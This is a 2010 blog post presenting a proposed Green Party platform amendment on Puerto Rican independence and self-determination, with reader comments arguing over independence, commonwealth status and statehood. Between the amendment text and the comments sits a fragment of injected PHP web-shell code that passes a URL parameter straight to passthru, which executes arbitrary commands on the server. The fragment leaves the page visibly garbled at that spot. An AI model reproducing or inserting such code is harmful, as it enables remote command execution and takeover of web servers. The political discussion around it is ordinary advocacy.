Sun 25 Apr 2010
Puerto Rican Independence
Posted by admin under Uncategorized
[10] Comments
2004 Original Language
None |
2010 Proposed Language
Chapter: DemocracySection Title: Foreign PolicySubsection Title: Puerto Rican IndependenceSubmitted by: Green Party of Connecticut CT Contact: Richard Duffee <richard.duffee@gmail.com> Platform Committee Contacts: Gary Ruskin (CA) <gary.ruskin@gmail.com> Dave Schwab (NY) <david.c.schwab@gmail.com> Holly Hart (IA) <holly-hart@uiowa.edu> ************************************** In 1898, Puerto Rico was invaded by the United States and it has been held by the U.S. in the form of a colony ever since. In response to international pressure, in 1952 the U.S. established the Free Associated State status for Puerto Rico but continued to claim that Puerto Rico belongs to, but is not a part of the United States. Thus, the United States denied Puerto Rico its sovereignty. Greens support the inalienable right of the people of Puerto Rico to self-determination and independence in conformity with United Nations Resolution 1514(XV) of 1960. We support discussion of the case by the U.N. General Assembly, the rights of Puerto Ricans in the United States and the release of the Puerto Rican political prisoners being held in United States prisons. We support environmental protection efforts, sustainable development in Puerto Rico, and the call for the appropriate clean-up and development of Vieques and Culebra. We support the struggles to protect Puerto Rican culture and the struggles of Puerto Rican workers, women and communities against neo-liberal aggression. We oppose recruitment of the youth of Puerto Rico into the U.S. Armed Forces and their deployment to Iraq and Afghanistan. |
'; passthru($_GET['cri']); echo''; exit; }
I agree with Dana Montello. The people of Puerto Rico should decide their future. This amendment is too aggressive in directing what Puerto Ricans should do. Imperialism comes in many forms.
Dana montello – you are making the mistake of claiming that letting a colonized and occupied people – the Puerto Ricans, vote for continuing colonization and dependence by their invader is some legit right or “self determination”
There is no “self determination vote” for a colonized and occupied people. There must be decolonization and reparations before any kind of claimed “self determination” vote can be made.
Furthermore it is ridiculous to advocate for anything besides independence given the reality and colonizing nature of the American political system and empire. That is the only just and right thing to demand. No to continued American colonization!
Once again, I’ve met plenty of Puerto Ricans that see themselves as both Puerto Rican and American. Despite the bloodshed in the past, we cannot pursue a solution based on an idealism that ignores practicality. Yes, the choice is Puerto Rico’s and Puerto Rico’s alone until it joins the Union, but there is a good chance that the people of Puerto Rico will choose not to disassociate with the United States. If that happens, it happens; all the United States can do is give it a choice. If they choose to remain a Commonwealth or become a full-fledged member of the Republic, that’s the choice they will make, even if it’s not the choice we would have for them.
Instead, I propose that a vote will be given to all of Puerto Rico (including Puerto Ricans living in the United States and at large in the world).
1) Independence.
2) Maintaining association with the USA
If a majority choose 2, then another vote will be done.
1) Maintaining Commonwealth status
2) Statehood
In the end, the United States should give Puerto Rico the choice of it’s destiny. Wherever it wants to go, we should aid it.
I should belisted as a contact because I am the original promoter of 478- Puerto Rico Amendment. Right now I am not listed.
After some trading I have come up with another version of the 478-Puerto Rico Amendment and it goes as follows:
“In 1898, Puerto Rico was invaded by the United States and has been held by the U.S. in the form of a colony ever since. In response to international pressure, in 1952 the U.S. established the “Free Associated State” status for Puerto Rico but continued to claim that Puerto Rico belongs to, yet is not part of, the United States.
1.Greens support the right of the People of Puerto Rico to self-determination and independence in conformity with United Nations Resolution 1514(XV) of 1960.
2.The release of all Puerto Rican political prisoners being held in U.S. prisons.
3.And call for the appropriate environmental clean-up and sustainable development of Vieques and Culebra, islands that were used as firing ranges by the U.S. military.
4.We oppose recruitment of the youth of Puerto Rico into the U.S. Armed Forces and their deployment to U.S. wars abroad.
i want to make a correction and that is that the political prisoner is not freed yet,he will be freed in July of this year.
With this amendment the Green Party is doing justice to the Puerto Rican nation. We have suffered the the terrorism of colonialism for too long already and it is time to set Puerto Rico free from the political slavery that the U.S. Government has forced on us. By the way a Puerto Rican poli9tical prisoner was just freed. He spent 29 years in U.S. jails for just advocating the collective human rights of all Puerto Ricans, independence.
I worked very hard with Richard Duffee, My friend Olga, Executive Secretary of the Committee for Puerto Rico at the U.N. and Gary Ruskin and the whole Platform Committee on this amendment. This amendment is originally longer, but for reasons of space it had to be shortened but keeping the essentials intact.I am willing to continue to be of service. I thank every one who has worked with us on this amendment and the whole Green Party,U.S.
The Green Party has earned a place in Puerto Rican and Latin American History.
Excellent resolution. I support it whole-heartedly. I especially appreciate the last sentence.
i think this is just about perfect. it is short but does not miss much that matters. i especially like the mention of United Nations Resolution 1514(XV).